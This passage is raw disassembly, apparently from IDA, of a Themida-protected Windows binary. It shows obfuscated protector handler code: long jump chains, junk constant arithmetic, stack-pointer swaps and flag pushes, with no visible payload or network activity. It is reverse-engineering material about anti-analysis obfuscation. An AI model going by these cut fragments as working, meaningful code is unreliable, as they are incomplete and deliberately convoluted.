; ---------------------------------------------------------------------------
loc_5935CA: ; CODE XREF: sub_59196D-3BA0j
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_5935CF: ; CODE XREF: sub_59196D+5049j
pop edi
pop ebx
jmp loc_58B71B
; ---------------------------------------------------------------------------
loc_5935D6: ; CODE XREF: sub_59196D-2961j
sub eax, 61E0E03h
jmp loc_58E4C3
; ---------------------------------------------------------------------------
push [esp-14h+arg_10]
mov ecx, [esp-10h+arg_C]
add esp, 4
push 2B9Eh
mov [esp-10h+arg_C], eax
jmp loc_58D162
; ---------------------------------------------------------------------------
loc_5935F9: ; CODE XREF: sub_59196D-3A18j
mov [esp+30h+var_32+2], edx
jmp loc_594DD9
; ---------------------------------------------------------------------------
loc_593601: ; CODE XREF: sub_59196D-3EFEj
add esi, 2
xchg esi, [esp+8+var_8]
mov esp, [esp+8+var_8]
rol [esp+8+var_8], cl
pushf
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_593616: ; CODE XREF: sub_59196D-3DADj
mov ebp, [esp+36h+var_36]
jmp loc_58F6C4
; ---------------------------------------------------------------------------
loc_59361E: ; CODE XREF: sub_59196D+5AEBj
; sub_59196D+6B39j
sub ebx, 9C148D21h
jmp loc_596318
; ---------------------------------------------------------------------------
loc_593629: ; CODE XREF: sub_59196D-2291j
pop esp
push edx
mov dh, 45h
push 6DC6h
mov [esp-8+arg_4], ecx
push edx
jmp loc_5908B1
; ---------------------------------------------------------------------------
loc_59363B: ; CODE XREF: sub_59196D-1116j
mov [esp+24h+var_26+2], edx
mov edx, 58720931h
sub edx, 2918690Fh
not edx
neg edx
jle loc_58B8AA
sub edx, 32F440C7h
jmp loc_58F2C8
; ---------------------------------------------------------------------------
loc_59365E: ; CODE XREF: sub_58C57F+75Bj
mov ecx, 5A584D8Bh
mov eax, ecx
pop ecx
jmp loc_590B10
; ---------------------------------------------------------------------------
loc_59366B: ; CODE XREF: sub_59196D+4229j
sub ebx, 57F677BAh
jmp loc_59378A
; ---------------------------------------------------------------------------
loc_593676: ; CODE XREF: sub_59196D+4CFBj
mov [esp+20h+var_22+2], ebp
mov ebp, 150E58EDh
or ebp, 4AC81E4Ah
neg ebp
jmp loc_59541F
; ---------------------------------------------------------------------------
loc_59368B: ; CODE XREF: sub_59196D-286j
add esp, 4
add edx, ebx
pop ebx
add edx, 4
xchg edx, [esp+8+var_8]
pop esp
add esp, 4
imul ecx
jmp loc_592907
; ---------------------------------------------------------------------------
loc_5936A5: ; CODE XREF: sub_59196D+4118j
add edx, 6EA81941h
add edx, edi
sub edx, 6EA81941h
add edx, 53E17CC0h
push edi
jmp loc_5959E3
; ---------------------------------------------------------------------------
loc_5936BF: ; CODE XREF: sub_59196D+4563j
js loc_58D347
jmp loc_58DBCE
; ---------------------------------------------------------------------------
loc_5936CA: ; CODE XREF: sub_58F42B-F12j
push edx
mov edx, 21553C60h
push ebp
mov ebp, 624250BBh
shl ebp, 2
jmp loc_58FFC3
; ---------------------------------------------------------------------------
loc_5936DE: ; CODE XREF: sub_59196D+1278j
; sub_59196D+6627j
xchg ecx, [esp+18h+var_1A+2]
pop esp
jmp loc_590E7E
; ---------------------------------------------------------------------------
loc_5936E7: ; CODE XREF: sub_59196D-C6Fj
pop esi
add esi, 4
add esi, 4
push esi
push [esp+24h+var_22+2]
pop esi
pop [esp+24h+var_26+2]
jmp loc_5906FA
; ---------------------------------------------------------------------------
loc_5936FF: ; CODE XREF: sub_58F533-2D41j
xor [esp+20h+var_22+2], esi
xor esi, [esp+20h+var_22+2]
pop esp
push 0ABAh
mov [esp+20h+var_22+2], edi
jmp loc_58D609
; ---------------------------------------------------------------------------
loc_593713: ; CODE XREF: sub_59196D+D8Fj
push edx
push ebp
jmp loc_594A59
; ---------------------------------------------------------------------------
loc_59371A: ; CODE XREF: sub_59196D+4FD0j
xor [esp-10h+arg_C], esi
xor esi, [esp-10h+arg_C]
mov esp, [esp-10h+arg_C]
loc_593723: ; CODE XREF: sub_59196D-582j
push ecx
mov ecx, 639A3F2Ch
or ecx, 49E10F10h
jl loc_58B764
dec ecx
jmp loc_5909DE
; ---------------------------------------------------------------------------
loc_59373B: ; CODE XREF: sub_59196D+4457j
and edi, 6690A53h
jmp loc_58F718
; ---------------------------------------------------------------------------
loc_593746: ; CODE XREF: sub_59196D+44E9j
pop eax
pop [esp-10h+arg_C]
mov esp, [esp-14h+arg_10]
mov [esp-14h+arg_10], edx
push esp
jmp loc_592C64
; ---------------------------------------------------------------------------
loc_593756: ; CODE XREF: sub_59196D+3AF8j
sub edx, esi
pop esi
jmp sub_58E0B1
; ---------------------------------------------------------------------------
loc_59375E: ; CODE XREF: sub_59196D+728j
or eax, eax
jz loc_5964DF
push dword ptr [edi+1Ch]
push [esp+2Ch+var_2E+2]
push [esp+30h+var_32+2]
pop ecx
add esp, 4
push edx
mov edx, esp
push eax
mov eax, 4
add edx, eax
mov eax, [esp+34h+var_36+2]
add esp, 4
push ebp
jmp loc_594A73
; ---------------------------------------------------------------------------
loc_59378A: ; CODE XREF: sub_59196D+1D04j
add ecx, ebx
pop ebx
sub ecx, 4
jmp loc_590A95
; ---------------------------------------------------------------------------
loc_593795: ; CODE XREF: sub_59196D:loc_594D07j
and eax, 7E55142h
jge loc_5953B3
xor eax, 0CC2C7F0Ch
mov esi, eax
pop eax
add esi, edx
pop edx
mov ah, bh
loc_5937AD: ; CODE XREF: sub_58B60E+517Fj
add esp, 4
jmp loc_58B602
; ---------------------------------------------------------------------------
loc_5937B8: ; CODE XREF: sub_59196D+C69j
; sub_59196D+58FDj
or edx, 3CAB5DCAh
push 367Eh
mov [esp+40h+var_40], ecx
mov ecx, 28437C98h
or edx, ecx
pop ecx
jmp loc_59703E
; ---------------------------------------------------------------------------
loc_5937D3: ; DATA XREF: Themida_:0058B265o
mov ax, word ptr [esp+3Ch+var_3C]
push 428Fh
mov [esp+40h+var_40], ebp
push 2F87h
jmp loc_597EC3
; ---------------------------------------------------------------------------
loc_5937E9: ; CODE XREF: sub_59196D+545Ej
push 6952h
mov [esp+48h+var_4A+2], ecx
push 1C07h
jmp loc_5917A2
; ---------------------------------------------------------------------------
loc_5937FB: ; CODE XREF: sub_59196D-3A6Aj
pop [esp+34h+var_36+2]
pop esp
mov [esp+2Ch+var_2E+2], ebp
push 1
pop ebp
or [edi+1Ch], ebp
push [esp+2Ch+var_2E+2]
jmp loc_58D649
; ---------------------------------------------------------------------------
loc_593813: ; CODE XREF: sub_59196D+2C3j
push ecx
mov ecx, 4
mov esi, ecx
pop ecx
add eax, esi
pop esi
add eax, 4
push 41DCh
jmp loc_594462
; ---------------------------------------------------------------------------
loc_59382C: ; CODE XREF: sub_59196D+23F0j
shr ecx, 0Ah
push edx
push ebx
xor [esp+18h+var_1A+2], 7F14679Ah
pop edx
jmp loc_58E930
; ---------------------------------------------------------------------------
loc_59383E: ; CODE XREF: sub_59196D-47D8j
pop edx
jmp loc_591981
; ---------------------------------------------------------------------------
loc_593844: ; CODE XREF: sub_59196D-3636j
not edx
xchg edx, ecx
xchg ecx, esi
jmp loc_597952
; ---------------------------------------------------------------------------
loc_59384F: ; CODE XREF: sub_59196D+1247j
add edx, 2D205566h
jmp loc_596D81
; ---------------------------------------------------------------------------
loc_59385A: ; CODE XREF: sub_59196D+2F11j
push [esp+18h+var_1A+2]
pop eax
add esp, 4
push ecx
mov ecx, 2
add ebx, ecx
jmp loc_594264
; ---------------------------------------------------------------------------
loc_593871: ; CODE XREF: sub_59196D-1B1Cj
sub eax, 7EB10CB0h
add eax, 31F529DCh
pop edi
xchg eax, [esp+0Ch+var_C]
jmp loc_590C15
; ---------------------------------------------------------------------------
loc_593884: ; CODE XREF: sub_59196D+43A8j
push [esp+0Ch+var_8]
pop ecx
pop [esp+0Ch+var_C]
jmp loc_5930DF
; ---------------------------------------------------------------------------
loc_593891: ; CODE XREF: sub_59196D-1C37j
mov edx, esp
jmp loc_590C3E
; ---------------------------------------------------------------------------
loc_593898: ; CODE XREF: sub_59196D+5206j
shr esi, 1
sub esi, 102000Fh
add ebx, esi
pop esi
push esi
push 0DDAh
jmp loc_5972D7
; ---------------------------------------------------------------------------
loc_5938AE: ; CODE XREF: sub_59196D+66DFj
jmp loc_58C25E
; ---------------------------------------------------------------------------
loc_5938B3: ; CODE XREF: sub_59196D-4704j
push [esp+36h+var_36]
mov ecx, [esp+3Ah+var_3C+2]
add esp, 4
push esi
jmp loc_596F62
; ---------------------------------------------------------------------------
loc_5938C5: ; CODE XREF: sub_59196D-3A7Aj
pop ebp
add eax, 4
push eax
push [esp+30h+var_2E+2]
pop eax
pop [esp+30h+var_32+2]
pop esp
pop [esp+28h+var_2A+2]
mov esp, [esp+24h+var_26+2]
jmp loc_590DC0
; ---------------------------------------------------------------------------
loc_5938DE: ; CODE XREF: sub_59196D+53CAj
mov [esp+24h+var_26+2], ebx
push [esp+24h+var_26+2]
pop eax
jmp loc_597C21
; ---------------------------------------------------------------------------
loc_5938EA: ; CODE XREF: sub_59196D+6856j
pop [esp+24h+var_26+2]
add [esp+20h+var_22+2], 4
mov ebp, [esp+20h+var_22+2]
push edi
mov edi, esp
jmp loc_593058
; ---------------------------------------------------------------------------
loc_5938FF: ; CODE XREF: sub_59196D-2A8Dj
add edx, 4A41659h
mov ebp, [esp+3Ah+var_3C+2]
add esp, 4
add edx, eax
push 7583h
jmp loc_594B8E
; ---------------------------------------------------------------------------
loc_59391A: ; CODE XREF: sub_59196D+3F9Ej
push [esp+3Ah+var_3C+2]
pop eax
add esp, 4
or ebx, ebx
jnz loc_59690A
sub esp, 4
mov [esp+3Ah+var_3C+2], edx
sub [esp+3Ah+var_3C+2], 723A6739h
pop dword ptr [edi+20h]
jmp loc_59420B
; ---------------------------------------------------------------------------
loc_593941: ; CODE XREF: sub_59196D+B3Fj
and ebp, 23417AE9h
jno loc_58E6FA
jmp loc_592A2E
; ---------------------------------------------------------------------------
add eax, 676F20FFh
push eax
pop edx
add al, 0CBh
push eax
loc_59395C: ; CODE XREF: sub_59196D-1321j
; sub_59196D+2DA6j
and ecx, 49F65E2Ch
jmp loc_592CFD
; ---------------------------------------------------------------------------
loc_593967: ; CODE XREF: sub_59196D:loc_58BCE9j
jmp loc_58E1EA
; ---------------------------------------------------------------------------
loc_59396C: ; CODE XREF: sub_59196D+4C7Bj
dec eax
shr eax, 7
jmp loc_592C19
; ---------------------------------------------------------------------------
loc_593975: ; CODE XREF: sub_59196D+44EFj
pop eax
jmp loc_591F52
; ---------------------------------------------------------------------------
loc_59397B: ; CODE XREF: sub_59196D-257Cj
; sub_59196D+65B2j
add edi, 4
jmp loc_58ECB5
; ---------------------------------------------------------------------------
loc_593986: ; CODE XREF: sub_59196D+4E3Aj
pop dx
jmp loc_59861B
; ---------------------------------------------------------------------------
loc_59398D: ; CODE XREF: Themida_:0058CE7Cj
mov ecx, 62783858h
push edi
jmp loc_58C244
; ---------------------------------------------------------------------------
loc_593998: ; CODE XREF: sub_59196D+1844j
pop edi
jmp loc_5980CA
; ---------------------------------------------------------------------------
loc_59399E: ; CODE XREF: sub_59196D+2699j
; sub_59196D+602Aj
pop esp
jmp loc_58F423
; ---------------------------------------------------------------------------
loc_5939A4: ; CODE XREF: sub_59196D+628Cj
dec ebx
add ebx, 6AB477Eh
shr ebx, 7
not ebx
push edx
mov edx, 0
jmp loc_5952A7
; ---------------------------------------------------------------------------
loc_5939BB: ; CODE XREF: sub_59196D+2D02j
; sub_59196D+68A5j
xor edx, 1F114949h
jmp loc_592948
; ---------------------------------------------------------------------------
loc_5939C6: ; CODE XREF: sub_59069A-40A4j
sub ecx, 4C6D2EF1h
sub ecx, eax
add ecx, 4C6D2EF1h
pop eax
jmp loc_58C940
; ---------------------------------------------------------------------------
loc_5939DA: ; CODE XREF: sub_590CDB-444Fj
xor [esp+0], ebx
xor ebx, [esp+0]
mov esp, [esp+0]
jmp loc_58EF75
; ---------------------------------------------------------------------------
loc_5939E8: ; CODE XREF: Themida_:00590E93j
mov bh, 10h
not bh
shl bh, 7
jmp loc_58C337
; ---------------------------------------------------------------------------
loc_5939F4: ; CODE XREF: sub_59196D:loc_593BBFj
xor ah, 0EAh
push ebx
jmp loc_597EFE
; ---------------------------------------------------------------------------
loc_5939FD: ; CODE XREF: sub_59196D+1A17j
mov eax, esp
push edx
mov edx, 4
push edi
mov edi, 7EB55EAFh
sub eax, edi
jmp loc_58ED44
; ---------------------------------------------------------------------------
loc_593A12: ; CODE XREF: sub_59196D+4462j
jmp loc_58F52A
; ---------------------------------------------------------------------------
loc_593A17: ; CODE XREF: sub_59196D-54F3j
push small 0A92h
mov word ptr [esp+14h+var_16+2], ax
jmp loc_58F939
; ---------------------------------------------------------------------------
loc_593A24: ; CODE XREF: sub_59196D-590j
; sub_59196D+1976j
pop eax
sub al, 2Eh
push bx
mov bl, 0A4h
sub al, bl
jmp loc_58DBC5
; ---------------------------------------------------------------------------
loc_593A32: ; CODE XREF: Themida_:0058C699j
add al, 0FCh
sub al, bl
sub esp, 4
mov [esp+0], ecx
mov cl, 59h
dec cl
xchg dh, cl
xor dh, ah
jmp loc_59866B
; ---------------------------------------------------------------------------
loc_593A4C: ; CODE XREF: sub_59196D+5672j
; sub_59196D+6C6Bj
pop esp
jmp loc_58F074
; ---------------------------------------------------------------------------
loc_593A52: ; CODE XREF: sub_59196D+107Aj
add esi, 4
push ebp
jmp loc_5902A6
; ---------------------------------------------------------------------------
loc_593A5E: ; CODE XREF: sub_59196D:loc_58E367j
shl ebp, 5
jmp loc_58EA09
; ---------------------------------------------------------------------------
loc_593A66: ; CODE XREF: sub_59196D-548Dj
push edx
push ebp
mov ebp, 5F422C77h
mov edx, ebp
jmp loc_591263
; ---------------------------------------------------------------------------
loc_593A74: ; CODE XREF: sub_59196D-4A4Cj
or dl, 47h
jge loc_595C90
jmp loc_590E6E
; ---------------------------------------------------------------------------
loc_593A82: ; CODE XREF: sub_5909BD-24DAj
push 4AE9h
jmp loc_595229
; ---------------------------------------------------------------------------
loc_593A8C: ; CODE XREF: Themida_:0058F4F1j
sub esp, 4
mov [esp+18h+var_1A+2], eax
sub esp, 4
mov [esp+1Ch+var_1E+2], ebp
jmp loc_58ECA1
; ---------------------------------------------------------------------------
loc_593A9D: ; CODE XREF: sub_59196D+32C0j
push ebp
mov ebp, 5E024D4h
jmp loc_591400
; ---------------------------------------------------------------------------
loc_593AA8: ; CODE XREF: sub_59196D+1C58j
pop dx
add ch, 1
and ch, 8Fh
jmp loc_590D03
; ---------------------------------------------------------------------------
loc_593AB5: ; CODE XREF: sub_59196D+61j
mov esi, 4
add eax, esi
pop esi
xor eax, [esp+2Ah+var_2A]
jmp loc_598653
; ---------------------------------------------------------------------------
loc_593AC5: ; CODE XREF: sub_59196D-2360j
push eax
mov ah, 39h
shr ah, 2
shl ah, 3
and ah, 79h
dec ah
jmp loc_594C01
; ---------------------------------------------------------------------------
loc_593AD8: ; CODE XREF: sub_59196D+125Bj
pop ebp
pop [esp+18h+var_1A+2]
pop esp
jmp loc_58D89E
; ---------------------------------------------------------------------------
loc_593AE2: ; CODE XREF: sub_59196D-4272j
mov esi, 2AFA71F2h
jmp loc_5922A4
; ---------------------------------------------------------------------------
loc_593AEC: ; CODE XREF: sub_59196D+5229j
add edi, 4
add edi, 4
xchg edi, [esp+14h+var_16+2]
pop esp
sub al, bl
jmp loc_58B9F2
; ---------------------------------------------------------------------------
loc_593B03: ; CODE XREF: sub_59196D-4A4j
push 6766h
jmp loc_58E498
; ---------------------------------------------------------------------------
loc_593B0D: ; CODE XREF: sub_59196D-5C7Ej
mov esi, esp
jmp loc_58E24D
; ---------------------------------------------------------------------------
loc_593B14: ; CODE XREF: sub_59196D-3CCEj
shl ebx, 1
add ebx, 31D7536Ch
jnb loc_594EFB
xor ebx, 10E9A180h
mov ebp, ebx
pop ebx
or ebp, 0ADC3427h
sub ebp, 1FFF37FEh
push ebx
mov ebx, 0
add ebx, ecx
add [ebx], ebp
pop ebx
pop ebp
jmp loc_597F7D
; ---------------------------------------------------------------------------
loc_593B48: ; CODE XREF: sub_59196D+4142j
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_593B4D: ; CODE XREF: sub_59196D+4946j
pop esp
dec [esp+10h+var_12+2]
pushf
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_593B57: ; CODE XREF: sub_59196D-6377j
; sub_59196D+230Dj
pop edx
xor eax, 6E5E172Ah
xor eax, 1FF80243h
push ebx
push eax
mov eax, 2AFD3E1Dh
mov ebx, 55AF48E1h
sub ebx, eax
pop eax
jmp loc_594B76
; ---------------------------------------------------------------------------
loc_593B76: ; CODE XREF: sub_59196D:loc_58EBFEj
jmp loc_598046
; ---------------------------------------------------------------------------
loc_593B7B: ; CODE XREF: sub_59196D-36B5j
mov edx, esp
add edx, 4
add edx, 4
xor edx, [esp+34h+var_36+2]
xor [esp+34h+var_36+2], edx
xor edx, [esp+34h+var_36+2]
pop esp
jmp loc_58F7A6
; ---------------------------------------------------------------------------
loc_593B95: ; CODE XREF: sub_59196D+F95j
not ebp
shr ebp, 6
add ebp, 11D89DC2h
sub edi, ebp
pop ebp
add edi, 1
push 5673h
mov [esp+32h+var_32], edx
push ecx
push 2F0B3F3Fh
mov ecx, [esp+3Ah+var_3C+2]
add esp, 4
jmp loc_58E043
; ---------------------------------------------------------------------------
loc_593BBF: ; CODE XREF: sub_59196D-2C12j
jg loc_5939F4
xor ah, 0EAh
push ebx
jmp loc_595DAD
; ---------------------------------------------------------------------------
mov eax, esp
push edx
loc_593BD1: ; CODE XREF: sub_59196D+32C8j
xor esi, [esp+1Ch+var_1E+2]
pop esp
or edx, eax
jmp loc_58F958
; ---------------------------------------------------------------------------
loc_593BDC: ; CODE XREF: sub_59196D+5DC0j
push ebx
mov ebx, 0
sub ebx, eax
xchg eax, ebx
pop ebx
not eax
neg eax
dec eax
xor eax, 5C7E5C04h
add edx, eax
jmp loc_58E977
; ---------------------------------------------------------------------------
loc_593BF7: ; DATA XREF: Themida_:0058B0A8o
mov ax, word ptr [esp+18h+var_1A+2]
push 51CEh
jmp loc_5984CC
; ---------------------------------------------------------------------------
loc_593C05: ; CODE XREF: sub_59196D+13F4j
mov ebp, esp
push eax
sub esp, 4
mov [esp+34h+var_36+2], ecx
mov ecx, 55894DF5h
push 0A8Ch
jmp loc_596A41
; ---------------------------------------------------------------------------
loc_593C1D: ; CODE XREF: sub_59196D+573j
mov [esp+10h+var_12+2], esp
add [esp+10h+var_12+2], 4
pop edi
push esi
mov esi, 4
add edi, esi
pop esi
jmp loc_5919B1
; ---------------------------------------------------------------------------
loc_593C33: ; CODE XREF: sub_59196D-1ECBj
add esi, 0FFFFFFFFh
push 0
jmp loc_595503
; ---------------------------------------------------------------------------
loc_593C43: ; CODE XREF: sub_59196D+5F10j
pop esp
jmp loc_58EB0A
; ---------------------------------------------------------------------------
loc_593C49: ; CODE XREF: sub_59196D-3CD6j
pop ebx
mov ebx, 8263A3F2h
jmp loc_594749
; ---------------------------------------------------------------------------
loc_593C54: ; CODE XREF: sub_59196D+2AE1j
jmp loc_5924AA
; ---------------------------------------------------------------------------
loc_593C59: ; CODE XREF: sub_59196D+24DEj
sub eax, 14C83538h
sub eax, 117714FEh
jmp loc_5970D8
; ---------------------------------------------------------------------------
loc_593C68: ; CODE XREF: sub_591000+3j
mov [esp+1Ch+var_1E+2], esp
add [esp+1Ch+var_1E+2], 4
pop ecx
jmp loc_5962CF
; ---------------------------------------------------------------------------
loc_593C78: ; CODE XREF: Themida_:0058D0C4j
add eax, edx
jmp loc_593B57
; ---------------------------------------------------------------------------
loc_593C7F: ; CODE XREF: sub_59196D+5740j
and ah, 28h
not ah
sub ah, 47h
push ebx
jmp loc_591B60
; ---------------------------------------------------------------------------
loc_593C8D: ; CODE XREF: sub_59196D+BFCj
mov [esp+20h+var_22+2], edx
jmp loc_590163
; ---------------------------------------------------------------------------
loc_593C95: ; CODE XREF: sub_59196D+3F6Fj
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp+24h+var_26+2]
mov esp, [esp+24h+var_26+2]
jmp loc_59671F
; ---------------------------------------------------------------------------
loc_593CAC: ; CODE XREF: sub_59196D-177Aj
mov edx, [esp+1Ch+var_1E+2]
add esp, 4
push eax
mov eax, 2D657D8Ah
sub edx, 4BDD51CEh
jmp loc_597F24
; ---------------------------------------------------------------------------
loc_593CC6: ; CODE XREF: sub_59196D-1ECj
; sub_59196D+3F46j
add edx, ebp
pop ebp
sub esp, 4
mov [esp+2Eh+var_2E], esi
mov esi, 30046594h
sub esi, 83060F6h
jns loc_58D169
neg esi
js loc_58EF98
and esi, 37935EB4h
loc_593CEE: ; CODE XREF: sub_59196D-22C5j
add edi, esi
add edi, 183925EEh
pop esi
push ecx
mov ecx, 238316Fh
jmp loc_594C6D
; ---------------------------------------------------------------------------
loc_593D02: ; CODE XREF: sub_59196D-360Bj
mov ecx, 1F6B1609h
xor [esp+16h+var_12], ecx
mov ecx, [esp+16h+var_16]
push edi
mov edi, esp
add edi, 4
push ebp
mov ebp, 4
jmp loc_58BA80
; ---------------------------------------------------------------------------
loc_593D22: ; CODE XREF: sub_59196D+3160j
not eax
jmp loc_58B5ED
; ---------------------------------------------------------------------------
loc_593D29: ; CODE XREF: sub_59196D+4134j
pop esi
sub esi, 54451DB3h
pop ecx
add eax, 16CC48A0h
add eax, 4CEC2FA2h
jmp loc_5915B1
; ---------------------------------------------------------------------------
loc_593D40: ; CODE XREF: sub_59196D-5D45j
add eax, edi
pop edi
xor eax, 3615A716h
jmp loc_5957BF
; ---------------------------------------------------------------------------
loc_593D4D: ; CODE XREF: sub_59196D-470Dj
add ebx, 4
add ebx, 4
xchg ebx, [esp+14h+var_16+2]
pop esp
jmp loc_59382C
; ---------------------------------------------------------------------------
loc_593D62: ; CODE XREF: sub_59196D+2825j
mov dh, 80h
shr dh, 1
dec dh
jns loc_58C28E
jmp loc_58CC57
; ---------------------------------------------------------------------------
not cl
push edx
mov dl, 24h
pop esp
loc_593D79: ; CODE XREF: sub_59196D-22DCj
; sub_59196D+4BFFj
pop ecx
add ecx, ebx
jmp loc_597BAE
; ---------------------------------------------------------------------------
loc_593D81: ; CODE XREF: sub_59196D-4ACj
add bl, 63h
add bl, al
sub bl, 63h
pop eax
push eax
push ebx
mov bl, 99h
jmp sub_58B4DA
; ---------------------------------------------------------------------------
loc_593D93: ; CODE XREF: sub_59196D+3015j
push esi
mov esi, esp
sub esp, 4
mov [esp+0], edi
mov edi, 331F1CCAh
xor edi, 4A5274E4h
push ecx
push 32CA1924h
mov ecx, [esp+4Eh+var_4E]
jmp loc_58F32B
; ---------------------------------------------------------------------------
loc_593DB5: ; CODE XREF: Themida_:0058B4FFj
mov [esp+4Eh+var_4E], ebx
jmp loc_59296E
; ---------------------------------------------------------------------------
loc_593DBD: ; CODE XREF: sub_59196D:loc_596DFBj
jmp loc_58B6D5
; ---------------------------------------------------------------------------
loc_593DC2: ; CODE XREF: sub_59196D-224Fj
xor edi, 0ECF770Eh
mov ebp, edi
pop edi
push esi
jmp loc_58D888
; ---------------------------------------------------------------------------
loc_593DD1: ; CODE XREF: sub_59196D+66A2j
mov ebp, 1E9F4271h
jmp loc_58F64A
; ---------------------------------------------------------------------------
loc_593DDB: ; CODE XREF: sub_59196D-9A6j
mov ecx, [esp+24h+var_26+2]
add esp, 4
push 0C10h
mov [esp+24h+var_26+2], esi
jmp loc_5958D1
; ---------------------------------------------------------------------------
mov esp, [esp+24h+var_26+2]
jmp loc_58E66C
; ---------------------------------------------------------------------------
loc_593DF6: ; CODE XREF: sub_59196D+1BD3j
sub bh, 2Fh
jmp loc_59277A
; ---------------------------------------------------------------------------
loc_593DFE: ; CODE XREF: sub_58E727+4Aj
push [esp+1Ch+var_1A+2]
jmp loc_58C64A
; ---------------------------------------------------------------------------
loc_593E07: ; CODE XREF: sub_59196D-5CF8j
and esi, 68CA4C67h
jmp loc_5942D5
; ---------------------------------------------------------------------------
loc_593E12: ; CODE XREF: sub_59196D+11EAj
add eax, ebp
jmp loc_590B25
; ---------------------------------------------------------------------------
loc_593E19: ; CODE XREF: sub_59196D-59B9j
xor edi, 69A0640Ah
xor edi, 0E75B0E27h
sub ebx, edi
jmp loc_5912E6
; ---------------------------------------------------------------------------
loc_593E2C: ; CODE XREF: sub_59196D-18B8j
pop ecx
push ecx
mov ecx, esp
add ecx, 4
jmp loc_597887
; ---------------------------------------------------------------------------
loc_593E3B: ; CODE XREF: sub_58E916+15j
dec ebx
dec ebx
add ebx, 196E388Ah
xchg edx, ebx
jmp loc_58B976
; ---------------------------------------------------------------------------
loc_593E4A: ; CODE XREF: sub_59196D-E04j
inc eax
jge loc_593C59
sub eax, 14C83538h
sub eax, 117714FEh
mov bl, 0CEh
mov ch, 4Fh
loc_593E5F: ; CODE XREF: sub_59196D-39AAj
mov ebx, 4
add esi, ebx
jmp loc_590A19
; ---------------------------------------------------------------------------
mov ax, word ptr [esp+4+var_4]
push edx
mov edx, esp
push eax
jmp loc_593389
; ---------------------------------------------------------------------------
loc_593E78: ; CODE XREF: sub_59196D+2F60j
mov ecx, 24h
add ecx, 0DC60253h
sub ecx, 3EBC0EBFh
add ecx, edi
add ecx, 3EBC0EBFh
sub ecx, 0DC60253h
push ebp
jmp loc_596149
; ---------------------------------------------------------------------------
loc_593E9D: ; CODE XREF: sub_59196D-5D5Cj
mov al, 0C8h
xor al, 29h
push ebx
mov bh, al
mov cl, bh
pop ebx
push [esp+2Ch+var_2E+2]
push [esp+30h+var_32+2]
pop eax
push ecx
mov ecx, esp
add ecx, 4
jmp loc_58FD6C
; ---------------------------------------------------------------------------
loc_593EBC: ; CODE XREF: sub_59196D-5583j
xchg ebp, [esp+0Ch+var_C]
mov esp, [esp+0Ch+var_C]
test ecx, eax
pushf
jmp loc_59186E
; ---------------------------------------------------------------------------
loc_593ECA: ; CODE XREF: sub_59196D+57C9j
push esp
pop edx
jmp loc_58D216
; ---------------------------------------------------------------------------
loc_593ED1: ; CODE XREF: sub_59196D-4249j
and bh, 22h
add bh, 4Fh
neg bh
jmp loc_5961BB
; ---------------------------------------------------------------------------
loc_593EDE: ; CODE XREF: sub_59196D+2926j
sub ebp, 622B548Bh
mov ebx, [esp+3Eh+var_40+2]
add esp, 4
add ebp, esi
sub ebp, 4A8F2C5Bh
jmp loc_58F1C1
; ---------------------------------------------------------------------------
loc_593EFA: ; CODE XREF: sub_59196D+12F2j
xchg ecx, [esp+26h+var_26]
jmp loc_597631
; ---------------------------------------------------------------------------
loc_593F02: ; CODE XREF: sub_59196D-914j
push ebx
push eax
mov eax, 1E694626h
or eax, 383B0D2Dh
shl eax, 8
js loc_591033
sub eax, 259B02Ch
mov ebx, eax
pop eax
jmp loc_597D7A
; ---------------------------------------------------------------------------
loc_593F24: ; CODE XREF: sub_59196D+33BCj
xchg esi, [esp+18h+var_1A+2]
jmp loc_5950CB
; ---------------------------------------------------------------------------
loc_593F2C: ; CODE XREF: sub_59196D+2893j
add esp, 4
push ebx
mov ebx, 4
sub eax, 16B875A2h
add eax, ebx
add eax, 16B875A2h
pop ebx
push 3457h
mov [esp+18h+var_1A+2], ecx
mov ecx, 4
add eax, ecx
jmp loc_58F886
; ---------------------------------------------------------------------------
loc_593F59: ; CODE XREF: sub_59196D-41D2j
xor [esp+3Ah+var_3C+2], esi
xor esi, [esp+3Ah+var_3C+2]
pop esp
mov [esp+36h+var_36], edi
jmp loc_58BDA9
; ---------------------------------------------------------------------------
loc_593F68: ; CODE XREF: sub_59196D-1DD3j
push 3667h
mov [esp-4+arg_0], ebp
push esp
mov ebp, [esp+0]
add esp, 4
push edi
mov edi, 4
add ebp, edi
pop edi
push edx
mov edx, 67010A70h
shr edx, 5
jz loc_58B61D
xor edx, 36793F3Fh
jge loc_592F34
push esi
jmp loc_5927FA
; ---------------------------------------------------------------------------
mov esi, 6C727119h
push eax
loc_593FAA: ; CODE XREF: sub_59196D+6408j
mov ebx, 90319B2h
add [esp+8+var_4], ebx
pop ebx
push ecx
jmp loc_58B49F
; ---------------------------------------------------------------------------
loc_593FBA: ; CODE XREF: Themida_:0058C5FDj
mov edi, 57DA5E8Bh
sub edi, 4E8F596Eh
jmp loc_5959B4
; ---------------------------------------------------------------------------
loc_593FCA: ; CODE XREF: sub_59196D+3E07j
or esi, edx
jmp loc_592F76
; ---------------------------------------------------------------------------
loc_593FD1: ; CODE XREF: sub_59196D+31E5j
sub edi, esi
add edi, 11A20492h
mov esi, [esp+8+var_8]
add esp, 4
retn
; ---------------------------------------------------------------------------
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_593FE5: ; CODE XREF: sub_59196D-5EA4j
add ecx, esi
mov esi, [esp+18h+var_1A+2]
push 7F46h
jmp loc_58D76E
; ---------------------------------------------------------------------------
loc_593FF4: ; CODE XREF: sub_59196D+6772j
add edi, 4
push esi
mov esi, 4
sub edi, esi
pop esi
xchg edi, [esp+1Ch+var_1E+2]
jmp loc_59399E
; ---------------------------------------------------------------------------
loc_59400B: ; CODE XREF: sub_59196D+44C7j
xor ebx, [esp+1Ch+var_1E+2]
xor [esp+1Ch+var_1E+2], ebx
xor ebx, [esp+1Ch+var_1E+2]
mov esp, [esp+1Ch+var_1E+2]
mov [esp+1Ch+var_1E+2], edx
push eax
pushf
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_594021: ; CODE XREF: sub_59196D+5450j
add ebp, edi
pop edi
xor ebp, [esp+20h+var_22+2]
xor [esp+20h+var_22+2], ebp
xor ebp, [esp+20h+var_22+2]
pop esp
shl [esp+1Ch+var_1E+2], cl
jmp loc_58B37B
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
